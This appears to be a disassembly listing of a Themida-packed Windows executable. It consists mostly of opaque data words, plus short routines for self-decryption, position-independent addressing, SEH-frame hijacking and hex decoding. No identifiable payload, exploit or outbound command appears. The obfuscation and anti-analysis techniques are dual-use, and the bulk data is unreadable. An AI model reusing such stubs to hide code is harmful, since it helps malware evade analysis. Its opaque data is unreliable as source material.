		dd 0EE180067h, 7C90h, 9	dup(0)
		dd 159D0000h, 211Bh, 0
		dd 0B05E0000h, 11C8h, 0
		dd 0BBh, 2 dup(0)
		dd 940000h, 0B7C40000h,	238Dh, 0
		dd 0AF0F0000h, 94170000h, 0B19F00BBh, 8322h, 17h dup(0)
		dd offset dword_680000
		dd 0
		dd 0EB940000h, 7C90h, 5	dup(0)
		dd 880000h, 0
		dd 301B0000h, 66h, 10h dup(0)
		dd 0D7F70000h, 66h, 0
		dd 164D0000h, 6Bh, 0AAC00000h, 20067h, 0
		dd 3D940000h, 0BF0F0000h, 0BBh,	35110000h, 0E550006Ah
		dd 65h,	3 dup(0)
		dd 91780000h, 4CC00C0h,	7D130067h, 67h,	4 dup(0)
		dd 6B6F0000h, 1FFF0001h, 0
		dd 11500000h, 2	dup(0)
		dd 6E060278h, 266h, 0
		dd 0C4DA0000h, 5Ch, 2 dup(0)
		dd 0FF540000h, 12h, 0Ah	dup(0)
		dd 9E50000h, 0BBh, 2 dup(0)
		dd 0BB1F0000h, 7BFC0067h, 3 dup(0)
		dd 24930000h, 0BCh, 0
		dd 3B60000h, 3 dup(0)
		dd 96CD0000h, 67h, 7 dup(0)
		dd 0EE370000h, 77DDh, 0C2BA0000h, 5Ch, 0Ah dup(0)
		dd 26380000h, 7C80h, 2 dup(0)
		dd 91020000h, 0C898h, 0CC4F0000h, 64h, 2 dup(0)
		dd 72730000h, 28782102h, 3D9900BEh, 2849h, 0
		dd 0ADA00000h, 7C80h, 0
		dd 1A240000h, 7C80h, 4 dup(0)
		dd 11h,	0Bh dup(0)
		dd 0C0590000h, 65h, 0F0B10000h,	18420068h, 4B1B00BBh, 0AA80h
		dd 1E690000h, 0C1h, 7 dup(0)
		dd 9E50000h, 146C00BBh,	836Fh, 0
		dd 2800000h, 0Bh dup(0)
		dd 3F580000h, 1A3C7C86h, 0BBh, 5 dup(0)
		dd 0A0340000h, 7C85h, 0Ah dup(0)
		dd 9E50000h, 573A00BBh,	2ADEFFA3h, 0B5ED7C81h, 70DDh, 3	dup(0)
		dd 0D0320000h, 0FD9Ch, 7 dup(0)
		dd 7C80h, 0EB940000h, 7C90h, 330E0000h,	6Bh, 0
		dd 0E1170000h, 0F492h, 3 dup(0)
		dd 8D8D0000h, 0B5D8h, 7	dup(0)
		dd 146C0000h, 836Fh, 6 dup(0)
		dd 0D2140000h, 3F40067h, 0FF35h, 37EC0000h, 0BBh, 5 dup(0)
		dd 0AAE50000h, 121h, 0D56C0000h, 65h, 0
		dd 986D0000h, 3F0FFF9Ah, 0C1h, 8 dup(0)
		dd 10000h, 82F20000h, 66h, 2 dup(0)
		dd 4AF20000h, 7C81h, 0
		dd 0CC530000h, 64h, 0EB190000h,	0BED0h,	3 dup(0)
		dd 0EB940279h, 4F377C90h, 5 dup(0)
		dd 9B470000h, 7B147C80h, 1FFFEh, 0Dh dup(0)
		dd 9A560000h, 5Ch, 0Bh dup(0)
		dd 200000h, 0FFEDh, 0
		dd 0D7F60000h, 0Fh dup(0)
		dd 40h,	4 dup(0)
		dd 1A440000h, 0BBh, 2 dup(0)
		dd 0EC030000h, 5974B6E9h, 8655h, 9 dup(0)
		dd 0D7F10000h, 67h, 0
		dd 0AFEB0000h, 0EB940000h, 7C90h, 0
		dd 0EB940000h, 7C90h, 0
		dd 8D200000h, 0BBh, 0C0590000h,	2 dup(0)
		dd 9BCB0000h, 4A2CBEB6h, 66h, 3	dup(0)
		dd 0C0590000h, 65h, 175C0000h, 5F600065h, 67h, 0
		dd 0FA030000h, 0FFFFh, 5 dup(0)
		dd 3E0000h, 0BBh, 10h dup(0)
		dd 0EB940000h, 7C90h, 6	dup(0)
		dd 1D770000h, 146C7C80h, 836Fh,	2 dup(0)
		dd 30D90000h, 0E7F1708Ah, 0FF44h, 3 dup(0)
		dd 0BE5B0000h, 5Ch, 8D080000h, 0FFF7h, 12900000h, 20076F2h
		dd 27h,	57AE0000h, 0C0590069h, 65h, 5 dup(0)
		dd 0C36D0000h, 51890000h, 0BC006Ah, 0
		dd 0EA550000h, 13F6h, 2	dup(0)
		dd 0CC4F0000h, 64h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5CCB8A:				; CODE XREF: start:loc_5C96A9j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7D334EBh
		mov	[ebp+7D320C5h],	edx
		mov	[ebp+7D30799h],	esi
		mov	[ebp+7D30B39h],	eax
		cmp	dword ptr [ebp+7D32499h], 0
		jz	short loc_5CCBC2
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5CCBC2:				; CODE XREF: start+B9BA0j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+7D317A9h],	eax
		push	45h
		call	sub_5CCC76
		push	783749Ah
		call	sub_5CCCBC
		push	0A894B25h
		call	sub_5CCCBC
		jmp	loc_5CCE00
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5CCC76	proc near		; CODE XREF: start+B9BBAp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7D335D9h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_5CCC92:				; CODE XREF: sub_5CCC76+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_5CCCB1
		mov	eax, [ebp+arg_0]
		mov	[ebx+7D33543h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_5CCC92
; ---------------------------------------------------------------------------


loc_5CCCB1:				; CODE XREF: sub_5CCC76+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_5CCC76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5CCCBC	proc near		; CODE XREF: start+B9BC4p start+B9BCEp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7D33622h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_5CCCE2:				; CODE XREF: sub_5CCCBC+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_5CCCE2
		mov	[ebp+var_84], 0
		lea	edi, [edx+7D33543h]
		lea	esi, [ebp+var_80]


loc_5CCD12:				; CODE XREF: sub_5CCCBC+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_5CCD1E:				; CODE XREF: sub_5CCCBC+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_5CCD1E
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_5CCD12
		popa
		leave
		retn	4
sub_5CCCBC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_5CCD5C
; ---------------------------------------------------------------------------


loc_5CCD58:				; CODE XREF: Themida_:005CCD5Fj
		inc	dword ptr [ebp-4]
		inc	esi


loc_5CCD5C:				; CODE XREF: Themida_:005CCD56j
		cmp	byte ptr [esi],	0
		jnz	short loc_5CCD58
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_5CCDED
; ---------------------------------------------------------------------------


loc_5CCD6E:				; CODE XREF: Themida_:005CCDF0j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_5CCDE4
; ---------------------------------------------------------------------------


loc_5CCD77:				; CODE XREF: Themida_:005CCDE8j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_5CCDD1
; ---------------------------------------------------------------------------


loc_5CCD87:				; CODE XREF: Themida_:005CCDD5j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_5CCDA9
		cmp	bl, 39h
		ja	short loc_5CCDA9
		sub	bl, 30h
		jmp	short loc_5CCDCB
; ---------------------------------------------------------------------------


loc_5CCDA9:				; CODE XREF: Themida_:005CCD9Dj
					; Themida_:005CCDA2j
		cmp	bl, 61h
		jb	short loc_5CCDBB
		cmp	bl, 66h
		ja	short loc_5CCDBB
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_5CCDCB
; ---------------------------------------------------------------------------


loc_5CCDBB:				; CODE XREF: Themida_:005CCDACj
					; Themida_:005CCDB1j
		cmp	bl, 41h
		jb	short loc_5CCDCB
		cmp	bl, 46h
		ja	short loc_5CCDCB
		sub	bl, 41h
		add	bl, 0Ah


loc_5CCDCB:				; CODE XREF: Themida_:005CCDA7j
					; Themida_:005CCDB9j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_5CCDD1:				; CODE XREF: Themida_:005CCD85j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_5CCD87
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_5CCDE1
		mov	eax, [ebp-10h]
		stosb


loc_5CCDE1:				; CODE XREF: Themida_:005CCDDBj
		inc	dword ptr [ebp-8]


loc_5CCDE4:				; CODE XREF: Themida_:005CCD75j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_5CCD77
		add	edx, 4


loc_5CCDED:				; CODE XREF: Themida_:005CCD6Cj
		cmp	edx, [ebp-4]
		jb	loc_5CCD6E
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5CCE00:				; CODE XREF: start+B9BD3j
		mov	ecx, 7000h
		lea	edi, [ebp+7D33768h]


loc_5CCE0B:				; CODE XREF: start+B9DFBj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_5CCE0B
		mov	eax, 48692121h
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7D3386Eh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		jmp	loc_5CCE53
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 12h,	36h, 7Fh
		dd 0FC6C31E9h, 6757D411h, 0AA48EC4Bh
		db 79h,	23h, 3Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5CCE53:				; CODE XREF: start+B9E28j
		push	0
		push	esi
		call	sub_5CCE5E
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_5CCE5E	proc near		; CODE XREF: start+B9E42p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5CCE5E	endp

; ---------------------------------------------------------------------------
		dw 0AC74h
		dd 5E9A3D8h, 7D000000h,	2EC73172h, 0F98AC22Bh, 0FFF00025h
		dd 0DB8166FFh, 0CA8B1F54h, 8166FF33h, 755A4D38h, 50B70F0Eh
		dd 81D0033Ch, 45503Ah, 2D087400h, 1000h, 64E3EB47h, 58Fh
		dd 0C4830000h, 81958D04h, 5207D338h, 35FF64h, 64000000h
		dd 2589h, 0C1030000h, 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh
		dd 80000000h, 708B0376h, 83C0331Ch, 1F7432F8h, 4D3E8166h
		dd 8109745Ah, 10000EEh,	0EBEB4000h, 33C7E8Bh, 503F81FEh
		dd 74000045h, 64E8EB44h, 58Fh, 0C4830000h, 51C36104h, 10244C8Bh
		dd 0B0A981h, 10000000h,	33590000h, 8B51C3C0h, 5510244Ch
		dd 0E8h, 0ED815D00h, 7D3388Ch, 384A858Dh, 818907D3h, 0B8h
		dd 0C033595Dh, 8F6496C3h, 5, 4C48300h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 9AC35343h, 35051338h, 8177FE19h
		dd 47D5FCBh, 0C1F38105h, 663C575Fh, 0BF0FD98Ch,	4E180DEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0C9C35040h
		dd 0C90A66B3h, 2D850Fh,	0BB660000h, 85C7FDE9h, 7D33255h
		dd 1, 66EBB66h,	24E9h, 11E900h,	0D6FA0000h, 0B0C84952h
		dd 5F78E59Eh, 7040A76h,	0C757CEB4h, 0D3325585h,	7, 0FBB6600h
		dd 658589AFh, 6607D301h, 89E6F6BBh, 0D30DF185h,	13E807h
		dd 5B8A0000h, 0A7B1F39Bh, 6FDAB35Dh, 1869D6C3h,	22F7E7ECh
		dd 8B5BF5B2h, 74C381D0h, 0E9000067h, 13h, 35A932A2h, 0BDFADD15h
		dd 6008138Dh, 26F7CBD1h, 2B9DBB71h, 0C88166C9h,	348BD3BDh
		dd 6E80Bh, 4DE30000h, 0F030DC51h, 0F66C34BAh, 0EE81581Ah
		dd 1DD06D3Ah, 81F98B66h, 0BE19BEEEh, 0F081663Dh, 0C681CCF9h
		dd 735008BBh, 0CE9h, 3641FD00h,	784922ACh, 62E7B133h, 0EA805669h
		dd 0B048FB3h, 860Fh, 8B660000h,	4E983D6h, 8E9h,	0F4E7E300h
		dd 0DCB67081h, 34F9814Fh, 0FFFFF99h, 0FFFF9585h, 8B6651FFh
		dd 4EB58C2h, 21Bh, 79CE9h, 8F0F6000h, 6, 0DDDBD29h, 0B16007D3h
		dd 0CE93Bh, 6D110000h, 0CC29EAB3h, 0C4A92332h, 6161CA21h
		dd 0B70F6060h, 616060FFh, 11E9h, 0AD613600h, 4FF4259Ch
		dd 0B5F2368h, 562C8B1Fh, 6161C49Dh, 0B8h, 958B6000h, 7D31385h
		dd 24548B61h, 6880F28h,	89000000h, 0D317D595h, 0D1858907h
		dd 2907D31Bh, 0D3011D95h, 3CBE07h, 0BD890000h, 7D33309h
		dd 24247403h, 2441B589h, 0AD6607D3h, 0C499D29h,	440307D3h
		dd 9D892424h, 7D30719h,	870F90F8h, 0Ch,	6820Fh,	800F0000h
		dd 0
		dd 10E86050h, 86000000h, 19D812B7h, 0F4EBA5BBh,	3655A565h
		dd 66816598h, 5838AEBBh, 68C0Fh, 890F0000h, 0
		dd 800F9061h, 1, 78408BF8h, 7E9h, 0A4E51200h, 0B5B76F8Eh
		dd 28244403h, 12E9h, 3A10F200h,	4D1EA6ACh, 0B3D917DEh
		dd 5D6D2316h, 8B4D0071h, 830F1840h, 1, 858940FCh, 7D3169Dh
		dd 3A0B8589h, 0FE907D3h, 0A3000000h, 5A01A0C7h,	0F7E3A356h
		dd 3AAEF52Eh, 8B60C0DAh, 0D30639BDh, 0F0816007h, 4E207DB9h
		dd 2E79858Bh, 616107D3h, 958B6058h, 7D30A01h, 0DE8h, 80F15B00h
		dd 93E39F1Ch, 46C84F54h, 0B529438Fh, 7D31FC9h, 708B615Bh
		dd 158D8978h, 8307D308h, 0FE91CC6h, 4000000h, 0E50B9D47h
		dd 639FE03h, 0B1BD9607h, 74033EC9h, 890F2424h, 0Ch, 6870Fh
		dd 9D890000h, 7D3268Dh,	3321BD8Dh, 0B58907D3h, 7D32F7Dh
		dd 12E9ADh, 0F6A40000h,	18135DC7h, 3CA96B66h, 0ABECBCEAh
		dd 0C3848C14h, 24244403h, 5E9h,	0D70B1700h, 60ABFAB2h
		dd 10E9h, 5865E900h, 5FC12513h,	2C63A019h, 0F3DADFCEh
		dd 0A1B58B46h, 6107D314h, 15D59D01h, 0BD8D07D3h, 7D31589h
		dd 6800Fh, 0B5890000h, 7D31AB5h, 1CEDB589h, 0F5AD07D3h
		dd 18E0Fh, 3F50000h, 1242444h, 0D301758Dh, 10E95007h, 91000000h
		dd 2B50985Bh, 0D495FBFAh, 0F452C38Bh, 892D03C2h, 80602404h
		dd 8D2B53CBh, 7D32CADh,	2960AB61h, 0D333319Dh, 13E907h
		dd 5B310000h, 944578h, 0C6B30956h, 5B14D8A7h, 247E523Dh
		dd 0BD8D617Eh, 7D33199h, 68E0Fh, 85890000h, 7D30761h, 8509F5ADh
		dd 7D32EF5h, 28244403h,	5EF5ABF5h, 7B59509h, 8DFF07D3h
		dd 7D33A0Bh, 3A0BBD83h,	750007D3h, 2444C710h, 1Ch, 51B58D00h
		dd 0FF07D33Fh, 3AD56E6h, 97282444h, 858ADF8Bh, 7D318D1h
		dd 474C084h, 4C75073Ah,	0AEC03257h, 2B5EFD75h, 33FC52FBh
		dd 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h
		dd 0D166EBD1h, 660973D8h, 66504135h, 5449F381h,	0EB75CEFEh
		dd 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h
		dd 0F74D03Bh, 4C6835Eh,	1BD185FFh, 6FE907D3h, 5EFFFFFFh
		dd 10E9h, 909DCA00h, 83DBA38Eh,	0BE032505h, 0C1D975C2h
		dd 12E90Bh, 7E3C0000h, 0E41B04EEh, 3A7D584Fh, 3D205517h
		dd 0BD12099h, 1BD1858Bh, 60F507D3h, 6E9h, 26155400h, 0F13D067h
		dd 385h, 89D48000h, 29E0D161h, 0D31D8D9Dh, 99850307h, 0F07D331h
		dd 148Ch, 0FE900h, 680B0000h, 0F6DB58Fh, 2E158CB3h, 0E8B8C7EBh
		dd 0FF62BC5h, 684h, 0C1858900h,	9607D308h, 0C8C0Fh, 800F0000h
		dd 6, 870Fh, 0AD660000h, 61616060h, 0F802E0C1h,	33218503h
		dd 8D0107D3h, 7D302E9h,	899D8B60h, 2907D32Fh, 0D32485B5h
		dd 29966107h, 0D30DC1B5h, 8D01AD07h, 7D31491h, 71B58B60h
		dd 0F07D318h, 1186h, 0CE900h, 31D50000h, 0ECE74BA0h, 0AA9B8424h
		dd 8B61384Ah, 6024244Ch, 0EE9h,	0E7449900h, 0A6AFEF5Fh
		dd 558D77AFh, 60A7E6CEh, 2BC5958Bh, 0BF0F07D3h,	606161C1h
		dd 2B059529h, 0FE907D3h, 0
		dd 834E294Ch, 50A51E0Eh, 44D2059Eh, 3613026h, 1242444h
		dd 0D31AF595h, 0CE907h,	463D0000h, 0DEA1AEEAh, 2A0EF7C3h
		dd 4489B970h, 12E91C24h, 28000000h, 46A49D76h, 0E168DD23h
		dd 0B86A19F9h, 26EFA0B5h, 9D8996B9h, 7D32E39h, 0A1B589ACh
		dd 3207D319h, 0C1FEF5C9h, 6E9h,	0AC54B200h, 0D0D82538h
		dd 0A3830FD0h, 1000000h, 0D32A5195h, 0FD0D007h,	9583h
		dd 0FE900h, 53CD0000h, 5FC92061h, 0F0CC2791h, 1625165Dh
		dd 0FD0D0BDh, 7982h, 0D0FCF500h, 6F820FD0h, 89000000h
		dd 0D307E185h, 0FC9FE07h, 0FFFFB689h, 8D89F5FFh, 7D30CFDh
		dd 0E920C483h, 6, 1A1279DBh, 44C7ADE2h,	0FC24h,	0B5090000h
		dd 7D30D3Dh, 1B8h, 8D296000h, 7D31AC9h,	3596E281h, 8D612CB3h
		dd 0D370988Dh, 1C8B0F07h, 60000000h, 30A18D8Bh,	0FE907D3h
		dd 3E000000h, 4AAB5AD4h, 9966E6DFh, 0C4B5F43Bh,	0FF6101ADh
		dd 85C6FCE1h, 7D318D1h,	458D2900h, 6107D312h, 1858531h
		dd 8C207D3h, 0BF0F6000h, 958B60DEh, 7D31761h, 506161F5h
		dd 0EE860h, 0FA170000h,	55B3860Fh, 0C056F954h, 894E0F32h
		dd 0B75ED68Bh, 34896177h, 3D950924h, 8907D330h,	0D34182B5h
		dd 5D8D2907h, 6007D333h, 2840Fh, 6B10000h, 61FFBF0Fh, 41928D89h
		dd 536007D3h, 0B86658F9h, 8D61B368h, 0D3402AB5h, 1B880F07h
		dd 0F000000h, 1588h, 10E900h, 0CB880000h, 1D41B2DCh, 526A9B44h
		dd 54A652B5h, 858D55F0h, 5B8EA1h, 15119589h, 0BD0107D3h
		dd 7D318ADh, 0CE9D0FFh,	41000000h, 71F25418h, 0A09748AFh
		dd 5EEC8531h, 14E9h, 0E86E3800h, 805F722Bh, 0BB5B6ABAh
		dd 6A9907CFh, 0A4A9C338h, 8BF5C352h, 0D34182B5h, 0C18D8907h
		dd 8B07D32Ch, 0D341928Dh, 0BE9FC07h, 0F8000000h, 263C05E8h
		dd 65D40F38h, 0C02BBF45h, 6890F60h, 8B000000h, 0D31BD9B5h
		dd 5853307h, 6107D32Bh,	8E9D98Bh, 6000000h, 0EB699B99h
		dd 0E9AA0098h, 0D1h, 8930B660h,	0D332459Dh, 26326107h
		dd 6800Fh, 8D290000h, 7D318CDh,	8B0F02B2h, 0Ch,	68A0Fh
		dd 9D890000h, 7D32F29h,	3859589h, 62E907D3h, 0F000000h
		dd 1087h, 0BE900h, 0A4F0000h, 7B884B33h, 0A8D13F5Dh, 0D585893Ch
		dd 3207D324h, 0C88B60C2h, 65654FBAh, 7A056145h,	898A751Dh
		dd 0D31939BDh, 60CC8A07h, 4D8D2956h, 5F07D306h,	0F9C8D361h
		dd 0D1084235h, 6890F98h, 29000000h, 0D300D585h,	0FCAFE07h
		dd 88Bh, 2850F00h, 60000000h, 0FD20A61h, 0FFFFB285h, 0E8F0FFFh
		dd 60000000h, 2A89D781h, 8D8B162Ah, 7D32ED1h, 1604B61h
		dd 0D324BDB5h, 19958907h, 6107D331h, 6830F46h, 89000000h
		dd 0D3332D95h, 0FDB0B07h, 0FFFF3185h, 0DE9FFh, 89E60000h
		dd 0CE1D73FDh, 854C9C5Eh, 12E9899h, 0D3196D95h,	850FCF07h
		dd 13h,	0EE9h, 0B59C1D00h, 6CE8597Ch, 0F1658805h, 901FEAh
		dd 29B58900h, 7D30Fh, 1D8D0900h, 7D306h, 0B9853100h, 7D32Eh
		dd 6D9D0900h, 6007D306h, 9B9B501h, 850B07D3h, 7D31AD9h
		dd 37858D61h, 6007D33Ah, 3E0B866h, 8958589h, 0F6107D3h
		dd 185h, 8589F500h, 7D31A15h, 19599D89h, 858D07D3h, 7D33F76h
		dd 0C58589F8h, 0E807D30Bh, 5, 53678D6h,	8166567Ah, 582590DAh
		dd 35950B5Eh, 8107D321h, 68DDC6h, 0B1858900h, 0B907D326h
		dd 18A01E44h, 42BE981h,	0E78118A0h, 536E62BCh, 0BD8B1E8Bh
		dd 7D30DF5h, 0EFD2EB81h, 0BD8B5582h, 7D326F9h, 0EA85F381h
		dd 95094520h, 7D31A25h,	67CFF381h, 958B6B0Dh, 7D32BC1h
		dd 55B53153h, 8F07D300h, 61953106h, 8307D312h, 0CBBF04EEh
		dd 4939D455h, 0FFB6850Fh, 0B70FFFFFh, 14EBFBh, 3 dup(0)
		dd 0E2000000h, 8D000000h, 0D3432885h, 31858907h, 8307D31Ah
		dd 0D34272BDh, 840F0007h, 119h,	18D185C6h, 685607D3h, 0BEA0D52Ah
		dd 13243481h, 0FF6ABFB8h, 0D30165B5h, 37858D07h, 0FF07D33Ah
		dd 668589D0h, 0C607D342h, 0D318D185h, 79685607h, 8180FF0Dh
		dd 0B52B2434h, 0B5FF1C57h, 7D30165h, 3A37858Dh,	0D0FF07D3h
		dd 426A8589h, 46A07D3h,	0A12A6368h, 24348145h, 45A13A63h
		dd 4276858Bh, 0F40507D3h, 0C1000001h, 509002E0h, 0FF006A90h
		dd 0D3426A95h, 6E858907h, 8B07D342h, 0FFFFB8D8h, 95FFFFFFh
		dd 7D31A31h, 95FFC38Bh,	7D31A31h, 84E9h, 72BD8300h, 7D342h
		dd 1850Fh, 57C30000h, 426EBD8Bh, 83AB07D3h, 0D3426E85h
		dd 0C35F0407h, 4272BD83h, 0F0007D3h, 185h, 8360C300h, 0D3426EADh
		dd 9D8B0407h, 7D3426Eh,	0FFFC7B83h, 1D850Fh, 0DD680000h
		dd 8148213Bh, 0BBDD2434h, 6A4821h, 95FF33FFh, 7D34266h
		dd 1DE9C361h, 68000000h, 0C18D0570h, 90240481h,	6A3E737Ah
		dd 0FF33FF00h, 0D3426695h, 6EAD8307h, 407D342h,	0FFFFB1E9h
		dd 0D3E948FFh, 27000009h, 0B4C665CBh, 5A1D818Ah, 5B47BDFBh
		dd 21A67F78h, 344635C4h, 4F37EA6Ch, 37F62874h, 7A413ECFh
		dd 0BFCB65EDh, 48158DC8h, 4A14EFECh, 2EE3786Ah,	44255A8Fh
		dd 5223E066h, 37A42475h, 75473CCFh, 0A5CB65EEh,	520892C8h
		dd 560AEFF3h, 3AF46374h, 70463181h, 5227F72Ah, 36F66964h
		dd 61472981h, 0A3D265F8h, 5C089387h, 0E1F3h, 62h dup(0)
		dd 27000000h, 0BECF65CBh, 520E9D86h, 4117EFECh,	22F46B76h
		dd 754070CCh, 4420A579h, 24A46675h, 704625CEh, 0BFD737AAh
		dd 5A149D86h, 1309A6BEh, 31F36360h, 67512381h, 0F2FE07Eh
		dd 2ED4051Ah, 715B31C4h, 0BFD765A6h, 591B9B84h,	1313A6BEh
		dd 2EE97E7Fh, 794D3D81h, 13BF765h, 62E06671h, 605B35D3h
		dd 0F1D637EBh, 4F0F9B91h, 5C15BFBEh, 2EE77E7Eh,	8Fh, 47h dup(0)
		dd 27000000h, 0A3C165CBh, 58119789h, 1314E8ECh,	2FE9636Dh
		dd 67493881h, 4427E72Ah, 2DE2287Eh, 344C3ED4h, 0BFCC30F8h
		dd 1D1D9A81h, 4A47A1F7h, 63F47976h, 605B29D2h, 2B6CE86Fh
		dd 27E8581Dh, 384D23C0h, 0BDCC30AAh, 1D1E9587h,	5547BBF7h
		dd 63EB636Bh, 7B4535CCh, 4062FC78h, 30A46C7Eh, 755C23C4h
		dd 0A88231F8h, 1D088187h, 5408BDEEh, 6DEB6D6Bh,	61h dup(0)
		dd 27000000h, 0B4CE2CCCh, 4F1597C8h, 4717BAECh,	6DA7687Ch
		dd 7D400481h, 5332A579h, 23F66F7Fh, 754070CCh, 0B4C065F9h
		dd 505A9A8Dh, 430EA1FFh, 37E7606Ch, 750834C4h, 4C62E164h
		dd 27E67171h, 60415DABh, 0B88236ADh, 5E1F9286h,	1303AAEAh
		dd 22A6757Bh, 66410681h, 4E62F67Fh, 30E72862h, 714333C0h
		dd 85826BEEh, 1D099D80h, 560BA6F8h, 2DE97B39h, 63082486h
		dd 129F765h, 2FFD6671h,	3A4D22CEh, 0E0h	dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 0A4E90000h, 6A00002Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 728EC350h, 0BD19B224h
		dd 1CEDBD31h, 6AFC07D3h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 7CAFC350h, 0C0EE229Bh
		dd 15DD9589h, 0C08B07D3h, 2B1D8529h, 0BD8307D3h, 7D313B1h
		dd 83097500h, 0D3273DBDh, 13740007h, 0C08B5350h, 1B8h
		dd 0AB9D8D00h, 0FF07DB26h, 83585BD3h, 0D3273DBDh, 11740007h
		dd 1B85350h, 8D000000h,	0DB255C9Dh, 5BD3FF07h, 50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 584358F5h, 0E5369811h, 519D8B40h, 8007D32Ah,	6A3BC6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 65A709C3h, 0BF0F9076h, 3D9D8BD1h, 8B07D307h,	0D38B66C0h
		dd 2445BD89h, 0BD8307D3h, 7D3271Dh, 3F840F00h, 33000001h
		dd 0D32CB995h, 58A0F07h, 66000000h, 89EEA81h, 2675BD83h
		dd 0F0007D3h, 12184h, 6060B200h, 8BD5F680h, 0D3267585h
		dd 0B98D2907h, 507D31Bh, 3E8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 91C35141h, 11E815h,	0C9180000h
		dd 8CEB9D67h, 0D5D7F44Dh, 0F66191B1h, 57FC297Ah, 5B5BF48Ah
		dd 8B666050h, 48961F3h,	1DB52924h, 8D07D321h, 0D34D6C85h
		dd 0AE86007h, 73000000h, 0FF45A5D5h, 4CC9FFh, 5CE81DEh
		dd 5E25F40Ch, 31D1858Bh, 506107D3h, 369ABA56h, 895B12A0h
